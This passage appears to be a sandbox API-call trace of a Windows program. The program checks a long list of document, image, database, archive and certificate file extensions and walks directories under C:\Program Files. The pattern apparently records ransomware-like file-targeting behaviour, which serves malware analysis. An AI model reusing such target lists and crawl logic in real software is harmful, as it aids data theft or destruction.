	[0181.026] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".elf") returned 4
	[0181.026] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".emf") returned 4
	[0181.026] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".emz") returned 4
	[0181.026] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".epf") returned 4
	[0181.027] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".eps") returned 4
	[0181.027] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".epsf") returned 5
	[0181.027] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0181.027] lstrlenW (lpString=".epsp") returned 5
	[0181.027] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0181.027] lstrlenW (lpString=".erf") returned 4
	[0181.027] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".exr") returned 4
	[0181.027] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".f4v") returned 4
	[0181.027] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".fido") returned 5
	[0181.027] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0181.027] lstrlenW (lpString=".flm") returned 4
	[0181.027] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".flv") returned 4
	[0181.027] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".frm") returned 4
	[0181.027] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".fxg") returned 4
	[0181.027] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".geo") returned 4
	[0181.027] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".gif") returned 4
	[0181.027] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".grs") returned 4
	[0181.027] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0181.027] lstrlenW (lpString=".gz") returned 3
	[0181.027] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0181.027] lstrlenW (lpString=".h") returned 2
	[0181.027] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0181.027] lstrlenW (lpString=".hdr") returned 4
	[0181.027] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".hpp") returned 4
	[0181.028] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".hta") returned 4
	[0181.028] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".htc") returned 4
	[0181.028] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".htm") returned 4
	[0181.028] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".html") returned 5
	[0181.028] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0181.028] lstrlenW (lpString=".icb") returned 4
	[0181.028] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".ics") returned 4
	[0181.028] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".iff") returned 4
	[0181.028] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".inc") returned 4
	[0181.028] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".indd") returned 5
	[0181.028] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0181.028] lstrlenW (lpString=".ini") returned 4
	[0181.028] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".iqy") returned 4
	[0181.028] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".j2c") returned 4
	[0181.028] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".j2k") returned 4
	[0181.028] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".java") returned 5
	[0181.028] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0181.028] lstrlenW (lpString=".jp2") returned 4
	[0181.028] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0181.028] lstrlenW (lpString=".jpc") returned 4
	[0181.029] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".jpe") returned 4
	[0181.029] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".jpeg") returned 5
	[0181.029] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0181.029] lstrlenW (lpString=".jpf") returned 4
	[0181.029] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".jpg") returned 4
	[0181.029] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".jpx") returned 4
	[0181.029] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".js") returned 3
	[0181.029] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0181.029] lstrlenW (lpString=".jsf") returned 4
	[0181.029] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".json") returned 5
	[0181.029] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0181.029] lstrlenW (lpString=".jsp") returned 4
	[0181.029] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".kdc") returned 4
	[0181.029] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".kmz") returned 4
	[0181.029] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".kwm") returned 4
	[0181.029] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".lasso") returned 6
	[0181.029] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0181.029] lstrlenW (lpString=".lbi") returned 4
	[0181.029] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".lgf") returned 4
	[0181.029] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".lgp") returned 4
	[0181.029] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0181.029] lstrlenW (lpString=".log") returned 4
	[0181.029] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".m1v") returned 4
	[0181.030] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".m4a") returned 4
	[0181.030] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".m4v") returned 4
	[0181.030] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".max") returned 4
	[0181.030] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".md") returned 3
	[0181.030] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0181.030] lstrlenW (lpString=".mda") returned 4
	[0181.030] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mdb") returned 4
	[0181.030] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mde") returned 4
	[0181.030] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mdf") returned 4
	[0181.030] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mdw") returned 4
	[0181.030] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mef") returned 4
	[0181.030] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mft") returned 4
	[0181.030] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mfw") returned 4
	[0181.030] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0181.030] lstrlenW (lpString=".mht") returned 4
	[0181.031] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mhtml") returned 6
	[0181.031] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0181.031] lstrlenW (lpString=".mka") returned 4
	[0181.031] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mkidx") returned 6
	[0181.031] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0181.031] lstrlenW (lpString=".mkv") returned 4
	[0181.031] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mos") returned 4
	[0181.031] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mov") returned 4
	[0181.031] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mp3") returned 4
	[0181.031] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mp4") returned 4
	[0181.031] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mpeg") returned 5
	[0181.031] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0181.031] lstrlenW (lpString=".mpg") returned 4
	[0181.031] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mpv") returned 4
	[0181.031] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mrw") returned 4
	[0181.031] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".msg") returned 4
	[0181.031] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0181.031] lstrlenW (lpString=".mxl") returned 4
	[0181.031] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0181.031] lstrlenW (lpString=".myd") returned 4
	[0181.031] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0181.031] lstrlenW (lpString=".myi") returned 4
	[0181.031] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".nef") returned 4
	[0181.032] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".nrw") returned 4
	[0181.032] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".obj") returned 4
	[0181.032] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".odb") returned 4
	[0181.032] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".odc") returned 4
	[0181.032] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".odm") returned 4
	[0181.032] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".odp") returned 4
	[0181.032] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".ods") returned 4
	[0181.032] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".oft") returned 4
	[0181.032] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".one") returned 4
	[0181.032] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".onepkg") returned 7
	[0181.032] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0181.032] lstrlenW (lpString=".onetoc2") returned 8
	[0181.032] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0181.032] lstrlenW (lpString=".opt") returned 4
	[0181.032] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".oqy") returned 4
	[0181.032] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".orf") returned 4
	[0181.032] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".p12") returned 4
	[0181.032] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".p7b") returned 4
	[0181.032] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0181.032] lstrlenW (lpString=".p7c") returned 4
	[0181.033] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pam") returned 4
	[0181.033] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pbm") returned 4
	[0181.033] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pct") returned 4
	[0181.033] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pcx") returned 4
	[0181.033] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pdd") returned 4
	[0181.033] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pdf") returned 4
	[0181.033] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pdp") returned 4
	[0181.033] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pef") returned 4
	[0181.033] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pem") returned 4
	[0181.033] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pff") returned 4
	[0181.033] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pfm") returned 4
	[0181.033] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pfx") returned 4
	[0181.033] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".pgm") returned 4
	[0181.033] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".php") returned 4
	[0181.033] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0181.033] lstrlenW (lpString=".php3") returned 5
	[0181.033] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0181.033] lstrlenW (lpString=".php4") returned 5
	[0181.034] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0181.034] lstrlenW (lpString=".php5") returned 5
	[0181.034] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0181.034] lstrlenW (lpString=".phtml") returned 6
	[0181.034] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0181.034] lstrlenW (lpString=".pict") returned 5
	[0181.034] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0181.034] lstrlenW (lpString=".pl") returned 3
	[0181.034] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0181.034] lstrlenW (lpString=".pls") returned 4
	[0181.034] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0181.034] lstrlenW (lpString=".pm") returned 3
	[0181.034] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0181.034] lstrlenW (lpString=".png") returned 4
	[0181.034] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0181.034] lstrlenW (lpString=".pnm") returned 4
	[0181.034] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0181.034] lstrlenW (lpString=".pot") returned 4
	[0181.034] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0181.034] lstrlenW (lpString=".potm") returned 5
	[0181.034] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0181.034] lstrlenW (lpString=".potx") returned 5
	[0181.034] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0181.034] lstrlenW (lpString=".ppa") returned 4
	[0181.034] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0181.034] lstrlenW (lpString=".ppam") returned 5
	[0181.034] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0181.034] lstrlenW (lpString=".ppm") returned 4
	[0181.034] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0181.034] lstrlenW (lpString=".pps") returned 4
	[0181.035] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".ppsm") returned 5
	[0181.035] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0181.035] lstrlenW (lpString=".ppt") returned 4
	[0181.035] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".pptm") returned 5
	[0181.035] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0181.035] lstrlenW (lpString=".pptx") returned 5
	[0181.035] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0181.035] lstrlenW (lpString=".prn") returned 4
	[0181.035] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".ps") returned 3
	[0181.035] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0181.035] lstrlenW (lpString=".psb") returned 4
	[0181.035] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".psd") returned 4
	[0181.035] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".pst") returned 4
	[0181.035] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".ptx") returned 4
	[0181.035] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".pub") returned 4
	[0181.035] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".pwm") returned 4
	[0181.035] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".pxr") returned 4
	[0181.035] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".py") returned 3
	[0181.035] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0181.035] lstrlenW (lpString=".qt") returned 3
	[0181.035] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0181.035] lstrlenW (lpString=".r3d") returned 4
	[0181.035] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0181.035] lstrlenW (lpString=".raf") returned 4
	[0181.035] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0181.036] lstrlenW (lpString=".rar") returned 4
	[0181.036] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.036] lstrlenW (lpString=".raw") returned 4
	[0181.036] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1
	[0181.036] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1
	[0181.036] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0
	[0181.036] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0181.036] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0181.036] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0181.036] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7963430c, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x22c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1
	[0181.037] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abd1547, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x206cbb35, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4abd1547, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1db800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1
	[0181.037] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1
	[0181.037] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1
	[0181.037] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x212dda0c, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1a9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0
	[0181.037] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0181.037] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0181.037] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0181.037] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0181.037] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.039] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e7cfe7b, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e7cfe7b, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.039] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51631140, ftCreationTime.dwHighDateTime=0x1d58dbd, ftLastAccessTime.dwLowDateTime=0x782ae540, ftLastAccessTime.dwHighDateTime=0x1d5b53c, ftLastWriteTime.dwLowDateTime=0x782ae540, ftLastWriteTime.dwHighDateTime=0x1d5b53c, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1
	[0181.039] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf97d5270, ftCreationTime.dwHighDateTime=0x1d583ca, ftLastAccessTime.dwLowDateTime=0xb551bc00, ftLastAccessTime.dwHighDateTime=0x1d5a3ad, ftLastWriteTime.dwLowDateTime=0xb551bc00, ftLastWriteTime.dwHighDateTime=0x1d5a3ad, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1
